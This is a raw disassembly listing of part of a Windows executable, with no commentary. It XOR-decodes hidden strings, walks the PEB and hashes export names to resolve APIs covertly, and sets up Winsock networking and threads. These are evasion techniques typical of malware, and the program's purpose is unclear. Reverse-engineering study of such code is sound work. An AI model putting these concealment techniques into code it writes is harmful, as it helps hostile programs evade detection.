xor cl, 0x72
mov byte [rbp + 0x52], cl
xor dl, 0x72
mov byte [rbp + 0x53], dl
xor r8b, 0x72
mov byte [rbp + 0x54], r8b
xor r9b, 0x72
mov byte [rbp + 0x55], r9b
xor r10b, 0x72
mov byte [rbp + 0x56], r10b
xor r11b, 0x72
mov byte [rbp + 0x57], r11b
xor bl, 0x72
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea rax, [rbp + 0x51]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140013cb0
lea rdx, [rbp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.14001b490
nop
lea r8, [rbp + 0x90]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xe8]
call fcn.140004830
nop
lea rax, [rsp + 0x70]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x50], reloc.WS2_32.dll_gethostname
mov al, 0x49
mov cl, 0x58
mov dl, 0x4a
movzx r8d, dl
mov r9b, 0x4e
mov r10b, 0x56
mov r11b, 0x4b
mov bl, 0x5d
xor edi, edi
xor al, 0x39
mov byte [rbp + 0x51], al
xor cl, 0x39
mov byte [rbp + 0x52], cl
xor dl, 0x39
mov byte [rbp + 0x53], dl
xor r8b, 0x39
mov byte [rbp + 0x54], r8b
xor r9b, 0x39
mov byte [rbp + 0x55], r9b
xor r10b, 0x39
mov byte [rbp + 0x56], r10b
xor r11b, 0x39
mov byte [rbp + 0x57], r11b
xor bl, 0x39
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140013d60
lea rdx, [rbp + 0x51]
lea rcx, [rsp + 0x70]
call fcn.14001b490
nop
mov byte [rbp + 0x50], reloc.WS2_32.dll_socket
mov al, 0x7c
mov cl, WSAStartup
mov dl, WSAGetLastError
mov r8b, reloc.WS2_32.dll_gethostname
mov r9b, 0x7d
mov r10b, 0x64
mov r11b, 0x78
mov bl, 0x79
xor edi, edi
xor al, 0x17
mov byte [rbp + 0x51], al
xor cl, 0x17
mov byte [rbp + 0x52], cl
xor dl, 0x17
mov byte [rbp + 0x53], dl
xor r8b, 0x17
mov byte [rbp + 0x54], r8b
xor r9b, 0x17
mov byte [rbp + 0x55], r9b
xor r10b, 0x17
mov byte [rbp + 0x56], r10b
xor r11b, 0x17
mov byte [rbp + 0x57], r11b
xor bl, 0x17
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], r13
lea rax, [rbp + 0x51]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140013df0
mov r8, rsi
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0xb0]
call fcn.14001b490
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x108]
call fcn.140004830
nop
lea rax, [rsp + 0x50]
mov qword [rbp + 0x80], rax
lea rdx, [rbp + 0x108]
lea rcx, [rsp + 0x50]
call fcn.1400181f0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
mov rbx, qword [rbp + 0xf8]
lea rsi, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rsi, qword [rbp + 0xe8]
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x14001601c
cmp rbx, 0xf
ja 0x140013eb6
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x90], xmm0
jmp 0x140013f54
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140013eee
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400cddd0
mov rcx, rax
test rax, rax
je 0x140013f23
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140013f2f
mov ecx, socket
cmp rax, rcx
cmovb rax, rcx
mov rdi, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x140013f0b
mov rax, r13
jmp 0x140013f2f
cmp rcx, 0x1000
jb 0x140013f2a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140016022
jmp 0x140013ed0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cddd0
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rdi
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov r8, r14
lea rdx, [rbp + 0x90]
lea rcx, [0x1405c0990]
call fcn.1400408f0
cmp byte [0x1405c0ba0], 0
jne 0x14001423b
movsd xmm0, qword [0x1400f44b8]
movsd qword [rbp + 0x50], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x58], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140014014
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140014014
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xf96e7f51
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001400f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013ff0
cmp edx, 0x1cceb5e1
je 0x140014019
test r9d, r9d
jne 0x140013fd0
mov rax, qword [rax]
jmp 0x140013fa0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov eax, dword [r11 + 0x1c]
add rax, r10
mov eax, dword [rax + rdx*4]
mov byte [rbp + 0x50], 0x6b
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor byte [rbp + 0x54], 0x35
xor byte [rbp + 0x55], 0x36
xor byte [rbp + 0x56], 0x37
xor byte [rbp + 0x57], 0x38
xor byte [rbp + 0x58], 0x39
add rax, r10
lea rcx, [rbp + 0x50]
call rax
movsd xmm0, qword [0x1400f3ba8]
movsd qword [rbp + 0x50], xmm0
movzx ecx, word [0x1400f3bb0]
mov word [rbp + 0x58], cx
movzx eax, byte [0x1400f3bb2]
mov byte [rbp + 0x50], 0xa
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor byte [rbp + 0x54], 0x35
xor byte [rbp + 0x55], 0x36
xor byte [rbp + 0x56], 0x37
xor byte [rbp + 0x57], 0x38
xor cl, 0x39
mov byte [rbp + 0x58], cl
xor byte [rbp + 0x59], 0x3a
xor al, 0x3b
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rdx, r12
cmp qword [0x1405c0bc0], 0xf
cmova rdx, qword [0x1405c0ba8]
mov r8, qword [0x1405c0bb8]
mov rcx, rax
call fcn.14001fb70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140014164
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140014164
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xc2fe3bec
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001415f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014140
cmp edx, 0x901fb04f
je 0x140014169
test r9d, r9d
jne 0x140014120
mov rax, qword [rax]
jmp 0x1400140f0
mov eax, dword [r11 + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140014214
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140014214
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xc0e0426e
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001420f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400141f0
cmp edx, 0xcbd48e36
je 0x140014219
test r9d, r9d
jne 0x1400141d0
mov rax, qword [rax]
jmp 0x1400141a0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov ecx, 1
call rax
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14001427f
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001427a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001427a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ce04c
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x14001499a
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400142db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400142db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ce04c
jmp 0x14001499a
movups xmm2, xmmword [0x1400f4d20]
movups xmmword [rbp + 0x90], xmm2
movzx eax, word [0x1400f4d30]
mov word [rbp + 0xa0], ax
cmp byte [0x1400f4d31], 0
je 0x1400144fc
mov ecx, r13d
cmp edi, 2
jl 0x1400144c4
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x90], xmm1
movdqa xmm2, xmmword [0x1400f4f50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
movdqa xmm3, xmmword [0x1400f4f60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0x98]
xorps xmm3, xmm1
movd dword [rbp + 0x98], xmm3
movdqa xmm2, xmmword [0x1400f4f70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
mov ecx, reloc.WS2_32.dll_recv
mov eax, ecx
lea r8, [rbp + 0x90]
add r8, rax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x1400144d0
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
lea rdx, [0x1405bf490]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001ab10
lea rdx, [0x1405bf490]
lea rcx, [rbp + 0xb0]
call fcn.1400181f0
mov rdx, rax
lea rcx, [0x1405c0990]
call fcn.14003db00
cmp qword [0x1405bf480], 0
je 0x140014790
cmp qword [0x1405bf4c0], 0
je 0x140014790
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x80], rax
lea rdx, [0x1405bf4b0]
lea rcx, [rbp + 0xe8]
call fcn.1400181f0
mov r15, rax
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0x50], 0x57
mov cl, 0x27
mov dl, 0x36
mov r8b, 0x24
movzx r9d, r8b
mov r10b, 0x20
mov r11b, gethostname
mov bl, 0x25
mov dil, 0x33
xor eax, eax
xor cl, 0x57
mov byte [rbp + 0x51], cl
xor dl, 0x57
mov byte [rbp + 0x52], dl
xor r8b, 0x57
mov byte [rbp + 0x53], r8b
xor r9b, 0x57
mov byte [rbp + 0x54], r9b
xor r10b, 0x57
mov byte [rbp + 0x55], r10b
xor r11b, 0x57
mov byte [rbp + 0x56], r11b
xor bl, 0x57
mov byte [rbp + 0x57], bl
xor dil, 0x57
mov byte [rbp + 0x58], dil
mov byte [rbp + 0x59], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], r13
lea rax, [rbp + 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140014610
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0xb0]
call fcn.14001b490
nop
lea rax, [rbp + 0x108]
mov qword [rsp + 0x40], rax
lea rdx, [0x1405bf470]
lea rcx, [rbp + 0x108]
call fcn.1400181f0
mov r14, rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov byte [rbp + 0x50], 0x79
mov cl, listen
mov dl, 0xa
mov r8b, 0x1c
mov r9b, listen
mov r10b, reloc.WS2_32.dll_socket
mov r11b, 0x18
mov bl, reloc.WS2_32.dll_sendto
movzx edi, r8b
xor eax, eax
xor cl, 0x79
mov byte [rbp + 0x51], cl
xor dl, 0x79
mov byte [rbp + 0x52], dl
xor r8b, 0x79
mov byte [rbp + 0x53], r8b
xor r9b, 0x79
mov byte [rbp + 0x54], r9b
xor r10b, 0x79
mov byte [rbp + 0x55], r10b
xor r11b, 0x79
mov byte [rbp + 0x56], r11b
xor bl, 0x79
mov byte [rbp + 0x57], bl
xor dil, 0x79
mov byte [rbp + 0x58], dil
mov byte [rbp + 0x59], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400146d0
lea rdx, [rbp + 0x51]
lea rcx, [rsp + 0x70]
call fcn.14001b490
nop
mov byte [rbp + 0x50], WSASetLastError
mov al, 5
mov cl, 0xb
mov dl, reloc.WS2_32.dll_socket
mov r8b, 0x40
mov r9b, 4
mov r10b, 0x1d
mov r11b, 1
xor bl, bl
xor edi, edi
xor al, 0x6e
mov byte [rbp + 0x51], al
xor cl, 0x6e
mov byte [rbp + 0x52], cl
xor dl, 0x6e
mov byte [rbp + 0x53], dl
xor r8b, 0x6e
mov byte [rbp + 0x54], r8b
xor r9b, 0x6e
mov byte [rbp + 0x55], r9b
xor r10b, 0x6e
mov byte [rbp + 0x56], r10b
xor r11b, 0x6e
mov byte [rbp + 0x57], r11b
xor bl, 0x6e
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea rax, [rbp + 0x51]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140014754
mov r8, rsi
lea rdx, [rbp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.14001b490
nop
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0xb0]
mov r9b, 1
mov r8, r14
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
jmp 0x140014990
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x50], rax
mov word [rbp + 0x70], 0x1e
mov byte [rbp + 0x71], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], r13
lea rax, [rbp + 0x71]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400147c4
lea rdx, [rbp + 0x71]
lea rcx, [rbp + 0xb0]
call fcn.14001b490
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov word [rbp + 0x70], 0x62
mov byte [rbp + 0x71], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x71]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140014810
lea rdx, [rbp + 0x71]
lea rcx, [rsp + 0x70]
call fcn.14001b490
nop
lea rax, [rbp + 0x108]
mov qword [rsp + 0x40], rax
lea rdx, [0x1405bf490]
lea rcx, [rbp + 0x108]
call fcn.1400181f0
mov rdi, rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x70], 7
mov cl, 0x6b
mov dl, WSAGetLastError
mov r8b, 0x64
mov r9b, 0x62
mov r10b, 0x69
mov r11b, reloc.WS2_32.dll_WSACleanup
movzx ebx, r9b
xor eax, eax
xor cl, 7
mov byte [rbp + 0x71], cl
xor dl, 7
mov byte [rbp + 0x72], dl
xor r8b, 7
mov byte [rbp + 0x73], r8b
xor r9b, 7
mov byte [rbp + 0x74], r9b
xor r10b, 7
mov byte [rbp + 0x75], r10b
xor r11b, 7
mov byte [rbp + 0x76], r11b
xor bl, 7
mov byte [rbp + 0x77], bl
mov byte [rbp + 0x78], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea rax, [rbp + 0x71]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400148c0
lea rdx, [rbp + 0x71]
lea rcx, [rsp + 0x50]
call fcn.14001b490
nop
mov byte [rbp + 0x70], 1
mov al, 0x6a
mov cl, 0x64
mov dl, 0x78
mov r8b, 0x2f
mov r9b, 0x6b
mov r10b, WSAStartup
mov r11b, WSASetLastError
mov bl, reloc.WS2_32.dll_WSAGetLastError
xor r14d, r14d
xor al, 1
mov byte [rbp + 0x71], al
xor cl, 1
mov byte [rbp + 0x72], cl
xor dl, 1
mov byte [rbp + 0x73], dl
xor r8b, 1
mov byte [rbp + 0x74], r8b
xor r9b, 1
mov byte [rbp + 0x75], r9b
xor r10b, 1
mov byte [rbp + 0x76], r10b
xor r11b, 1
mov byte [rbp + 0x77], r11b
xor bl, 1
mov byte [rbp + 0x78], bl
mov byte [rbp + 0x79], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
lea rax, [rbp + 0x71]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], r14b
jne 0x140014950
mov r8, rsi
lea rdx, [rbp + 0x71]
lea rcx, [rbp + 0xe8]
call fcn.14001b490
nop
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov r8, rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xe8]
mov qword [rsp + 0x20], rax
call fcn.140005130
mov edi, dword [reloc.WS2_32.dll_accept]
mov ecx, 0x28
call fcn.1400cddd0
mov rbx, rax
mov qword [rbp + 0x50], rax
lea rdx, [0x1405c0950]
mov rcx, rax
call fcn.1400181f0
lea rax, [0x140005860]
mov qword [rbx + 0x20], rax
mov qword [rbp + 0x50], rbx
lea rax, [rbp + 0x140]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
mov r9, rbx
lea r8, [0x1400234c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x138], rax
test rax, rax
je 0x140016009
mov ecx, 8
call fcn.1400cddd0
lea rcx, [0x1400169e0]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x130]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140023570]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x128], rax
test rax, rax
je 0x140015ff6
cmp byte [0x1405c0ba0], 0
je 0x140015da5
movups xmm0, xmmword [0x1400f45a8]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x1400f45b8]
movups xmmword [rbp + 0xc0], xmm1
mov eax, dword [0x1400f45c8]
mov dword [rbp + 0xd0], eax
movzx eax, byte [0x1400f45cc]
mov byte [rbp + 0xd4], al
mov ecx, r13d
cmp edi, 2
jl 0x140014b98
movdqa xmmword [rbp + 0x50], xmm10
lea rdx, [rbp + 0xb0]
mov r8d, dword [rbp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140014ab0
cmp ecx, 0x25
jge 0x140014bdc
movsxd rax, ecx
lea r8, [rbp + 0xb0]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x25
jl 0x140014bb0
lea rdx, [rbp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov ebx, dword [rcx + r11 + 0x88]
add rbx, r11
cmp rbx, r11
je 0x140014c74
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140014c74
mov r9d, dword [rbx + 0x20]
nop word [rax + rax]
dec r10d
lea rdx, [r11 + r10*4]
mov r8d, dword [rdx + r9]
add r8, r11
mov edx, 0xac2115ca
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140014c6f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014c50
cmp edx, 0xfa8558cd
je 0x140014c79
test r10d, r10d
jne 0x140014c30
mov rax, qword [rax]
jmp 0x140014c00
mov r9d, dword [rbx + 0x1c]
add r9, r11
mov edx, dword [rbx + 0x24]
add rdx, r11
movzx eax, word [rdx + r10*2]
mov edx, dword [r9 + rax*4]
add rdx, r11
mov ecx, 0x5dc
call rdx
nop dword [rax]
mov byte [rsp + 0x40], 0x1d
mov al, 0x5a
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8b, reloc.WS2_32.dll_WSAStartup
mov r9b, 0x7a
mov r10b, 0x78
mov r11b, 0x3d
mov bl, 0x50
mov dil, 0x7c
mov sil, 0x69
mov r14b, 0x76
movzx r15d, r10b
movzx r12d, sil
xor r13d, r13d
xor al, 0x1d
mov byte [rsp + 0x41], al
xor cl, 0x1d
mov byte [rsp + 0x42], cl
xor dl, 0x1d
mov byte [rsp + 0x43], dl
xor r8b, 0x1d
mov byte [rsp + 0x44], r8b
xor r9b, 0x1d
mov byte [rsp + 0x45], r9b
xor r10b, 0x1d
mov byte [rsp + 0x46], r10b
xor r11b, 0x1d
mov byte [rsp + 0x47], r11b
xor bl, 0x1d
mov byte [rsp + 0x48], bl
xor dil, 0x1d
mov byte [rsp + 0x49], dil
xor sil, 0x1d
mov byte [rsp + 0x4a], sil
xor r14b, 0x1d
mov byte [rsp + 0x4b], r14b
xor r15b, 0x1d
mov byte [rsp + 0x4c], r15b
xor r12b, 0x1d
mov byte [rsp + 0x4d], r12b
mov byte [rsp + 0x4e], r13b
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400cddd0
lea rcx, [rsp + 0x41]
mov qword [rax], rcx
lea rcx, [0x140016030]
mov qword [rax + 8], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x1400235a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x90], rax
test rax, rax
je 0x140015d92
cmp dword [rbp + 0x98], r13d
je 0x140015d86
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140015d86
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
mov eax, dword [str.R_4]
mov dword [rbp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
